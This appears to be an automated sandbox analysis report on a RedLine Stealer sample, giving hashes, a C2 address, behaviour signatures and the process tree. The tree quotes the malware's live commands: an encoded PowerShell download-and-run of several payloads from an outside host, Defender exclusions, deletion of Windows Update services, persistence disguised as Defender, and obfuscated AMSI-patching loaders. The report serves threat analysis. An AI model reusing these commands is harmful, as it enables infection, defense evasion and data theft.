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Analysis

  • max time kernel
    29s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/01/2023, 01:29

General

  • Target

    2da19a4e1c0fe008419b97a8fea15d5879297555.exe

  • Size

    241KB

  • MD5

    7637110e274a39065d6a09406ef525c3

  • SHA1

    2da19a4e1c0fe008419b97a8fea15d5879297555

  • SHA256

    1c2f186610bc1f39f9800f9caa2dd42bdaacd88ae885fff67d7d3b9f8961dd0f

  • SHA512

    f4eb2b06956a839b4e4e353a19af1b46e69ac7215fd9d12660ecc8e25a98b0e67833b7bdf39fc25d9841bb3b8813e3dafd65bbaea0ae06af3164c925f091e924

  • SSDEEP

    6144:jn85mUDE07RXADtNBAl1C7Wt9hHAO6XNgc+tc:goUDE07RXADExGx+2

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3092
      • C:\Users\Admin\AppData\Local\Temp\2da19a4e1c0fe008419b97a8fea15d5879297555.exe
        "C:\Users\Admin\AppData\Local\Temp\2da19a4e1c0fe008419b97a8fea15d5879297555.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4284
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2308
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3676
            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
              "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
              5⤵
              • Executes dropped EXE
              PID:3888
            • C:\Users\Admin\AppData\Local\Temp\new2.exe
              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:408
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                6⤵
                  PID:2880
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 492
                  6⤵
                  • Program crash
                  PID:2248
              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:4244
              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                5⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:3308
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4284 -s 212
            3⤵
            • Program crash
            PID:4168
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1892
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2080
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:2220
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:4408
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:2908
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:3440
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:3340
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
            3⤵
              PID:4204
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
              3⤵
                PID:516
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                3⤵
                  PID:4348
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                  3⤵
                    PID:616
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                    3⤵
                      PID:4388
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4824
                  • C:\Windows\System32\dialer.exe
                    C:\Windows\System32\dialer.exe
                    2⤵
                      PID:2536
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4284 -ip 4284
                    1⤵
                      PID:2784
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 408 -ip 408
                      1⤵
                        PID:1160
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:gQCoOHNBZktt{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wtIQiEVwJyDFwU,[Parameter(Position=1)][Type]$aWbcgDgwar)$FWfCWZWqOch=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+'e'+'d'+''+'D'+''+[Char](101)+'le'+'g'+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+'e'+'mo'+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+'y'+'p'+'e',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](83)+'e'+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+'n'+'si'+'C'+''+[Char](108)+'a'+[Char](115)+'s,'+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$FWfCWZWqOch.DefineConstructor(''+'R'+''+'T'+''+'S'+''+[Char](112)+'e'+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+'e'+',H'+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+'P'+'u'+''+'b'+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$wtIQiEVwJyDFwU).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me,'+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$FWfCWZWqOch.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+'e'+'','Pu'+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'H'+'i'+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+'g'+','+''+'N'+'e'+'w'+'S'+'l'+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+'ir'+'t'+''+'u'+''+[Char](97)+''+'l'+'',$aWbcgDgwar,$wtIQiEVwJyDFwU).SetImplementationFlags(''+'R'+'u'+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+'d');Write-Output $FWfCWZWqOch.CreateType();}$HRixbwcuadIch=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+'t'+'e'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+'i'+'n'+''+[Char](51)+'2'+'.'+''+'U'+''+'n'+''+'s'+'a'+[Char](102)+''+[Char](101)+''+'H'+''+[Char](82)+''+[Char](105)+''+[Char](120)+''+[Char](98)+''+[Char](119)+''+'c'+''+[Char](117)+''+'a'+''+'d'+''+'I'+''+[Char](99)+''+[Char](104)+'');$XSBwdgGraZzBAY=$HRixbwcuadIch.GetMethod(''+'X'+''+[Char](83)+''+'B'+''+'w'+''+[Char](100)+'gG'+'r'+''+'a'+'Z'+[Char](122)+''+[Char](66)+''+[Char](65)+''+[Char](89)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](83)+'ta'+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$iedVUxpqXAgGkulauwy=gQCoOHNBZktt @([String])([IntPtr]);$eMoUrtUaQHhbJDBcpijyMG=gQCoOHNBZktt @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AydnwZCkQzS=$HRixbwcuadIch.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+'ul'+'e'+''+'H'+'an'+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+'3'+[Char](50)+'.'+'d'+''+[Char](108)+''+'l'+'')));$AjmaHdviXgLPgb=$XSBwdgGraZzBAY.Invoke($Null,@([Object]$AydnwZCkQzS,[Object](''+[Char](76)+''+[Char](111)+'adLib'+'r'+''+[Char](97)+''+[Char](114)+''+'y'+''+'A'+'')));$jFLHGBdCwLBdfHlCa=$XSBwdgGraZzBAY.Invoke($Null,@([Object]$AydnwZCkQzS,[Object](''+[Char](86)+'i'+'r'+'t'+'u'+''+'a'+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+'c'+'t')));$kxJoHtM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AjmaHdviXgLPgb,$iedVUxpqXAgGkulauwy).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+'l'+'l'+'');$rEOPBMRRracYOyleb=$XSBwdgGraZzBAY.Invoke($Null,@([Object]$kxJoHtM,[Object]('Am'+[Char](115)+'iS'+[Char](99)+''+'a'+''+'n'+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+'r')));$uBJXISuRqX=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jFLHGBdCwLBdfHlCa,$eMoUrtUaQHhbJDBcpijyMG).Invoke($rEOPBMRRracYOyleb,[uint32]8,4,[ref]$uBJXISuRqX);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$rEOPBMRRracYOyleb,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jFLHGBdCwLBdfHlCa,$eMoUrtUaQHhbJDBcpijyMG).Invoke($rEOPBMRRracYOyleb,[uint32]8,0x20,[ref]$uBJXISuRqX);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+'le'+[Char](114)+''+'s'+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                          PID:2168
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:hechbmOvEpLX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$duVbQxCbQZHuIJ,[Parameter(Position=1)][Type]$FptpRGnqHN)$JEnodMQsIVY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+'l'+''+'e'+'c'+'t'+''+[Char](101)+'dDeleg'+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+'e'+[Char](109)+''+'o'+'r'+'y'+'Mo'+[Char](100)+''+'u'+'l'+'e'+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+'e'+'l'+''+'e'+''+[Char](103)+''+'a'+'t'+'e'+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+','+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'ed'+','+''+[Char](65)+''+[Char](110)+''+'s'+'i'+'C'+'la'+'s'+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+'t'+[Char](111)+'C'+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$JEnodMQsIVY.DefineConstructor('R'+[Char](84)+''+'S'+'p'+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+'u'+'b'+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$duVbQxCbQZHuIJ).SetImplementationFlags('Ru'+'n'+''+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+''+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$JEnodMQsIVY.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+''+'e'+'',''+[Char](80)+'u'+'b'+''+[Char](108)+'i'+[Char](99)+',H'+[Char](105)+'d'+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+'e'+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+'l'+'',$FptpRGnqHN,$duVbQxCbQZHuIJ).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+'n'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $JEnodMQsIVY.CreateType();}$PJARNKyDmreCk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+'m'+'.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+'r'+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+'U'+''+'n'+''+'s'+''+[Char](97)+''+[Char](102)+'e'+[Char](80)+''+'J'+''+[Char](65)+''+[Char](82)+''+[Char](78)+''+'K'+'y'+[Char](68)+''+[Char](109)+''+[Char](114)+''+'e'+''+[Char](67)+'k');$IHnsvKGqdRXRLv=$PJARNKyDmreCk.GetMethod('I'+'H'+''+'n'+''+[Char](115)+''+'v'+''+[Char](75)+''+[Char](71)+''+[Char](113)+'d'+'R'+''+'X'+''+'R'+''+[Char](76)+''+'v'+'',[Reflection.BindingFlags]''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+'S'+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vXIyZmoCEQxBErjdhqm=hechbmOvEpLX @([String])([IntPtr]);$eBpkvUTnrBpQkgUqeNBjwi=hechbmOvEpLX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YWrmSkxCiHZ=$PJARNKyDmreCk.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+''+[Char](108)+'eH'+[Char](97)+''+'n'+'dl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'n'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+'.'+[Char](100)+''+[Char](108)+'l')));$uJsdxZNYrtWDSq=$IHnsvKGqdRXRLv.Invoke($Null,@([Object]$YWrmSkxCiHZ,[Object](''+[Char](76)+''+'o'+''+'a'+''+'d'+''+'L'+''+[Char](105)+'b'+[Char](114)+'a'+[Char](114)+'y'+[Char](65)+'')));$wObZLUjidBEwToUoB=$IHnsvKGqdRXRLv.Invoke($Null,@([Object]$YWrmSkxCiHZ,[Object](''+'V'+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'Pro'+'t'+''+[Char](101)+'ct')));$BkJLLHh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uJsdxZNYrtWDSq,$vXIyZmoCEQxBErjdhqm).Invoke(''+[Char](97)+''+'m'+'s'+[Char](105)+'.'+[Char](100)+''+'l'+'l');$ClxGXrdbvUZJSugKZ=$IHnsvKGqdRXRLv.Invoke($Null,@([Object]$BkJLLHh,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+'c'+'a'+[Char](110)+'Bu'+[Char](102)+''+[Char](102)+''+'e'+'r')));$SMyhaNGOft=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wObZLUjidBEwToUoB,$eBpkvUTnrBpQkgUqeNBjwi).Invoke($ClxGXrdbvUZJSugKZ,[uint32]8,4,[ref]$SMyhaNGOft);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ClxGXrdbvUZJSugKZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wObZLUjidBEwToUoB,$eBpkvUTnrBpQkgUqeNBjwi).Invoke($ClxGXrdbvUZJSugKZ,[uint32]8,0x20,[ref]$SMyhaNGOft);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'TW'+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'d'+''+'i'+''+'a'+''+'l'+'e'+'r'+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
                          1⤵
                            PID:3944
                          • C:\Windows\System32\dllhost.exe
                            C:\Windows\System32\dllhost.exe /Processid:{3f6cdf47-4cc7-42fb-b013-8789fff9add2}
                            1⤵
                              PID:2232

                            Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

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                            Downloads

                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                              Filesize

                              2KB

                              MD5

                              d85ba6ff808d9e5444a4b369f5bc2730
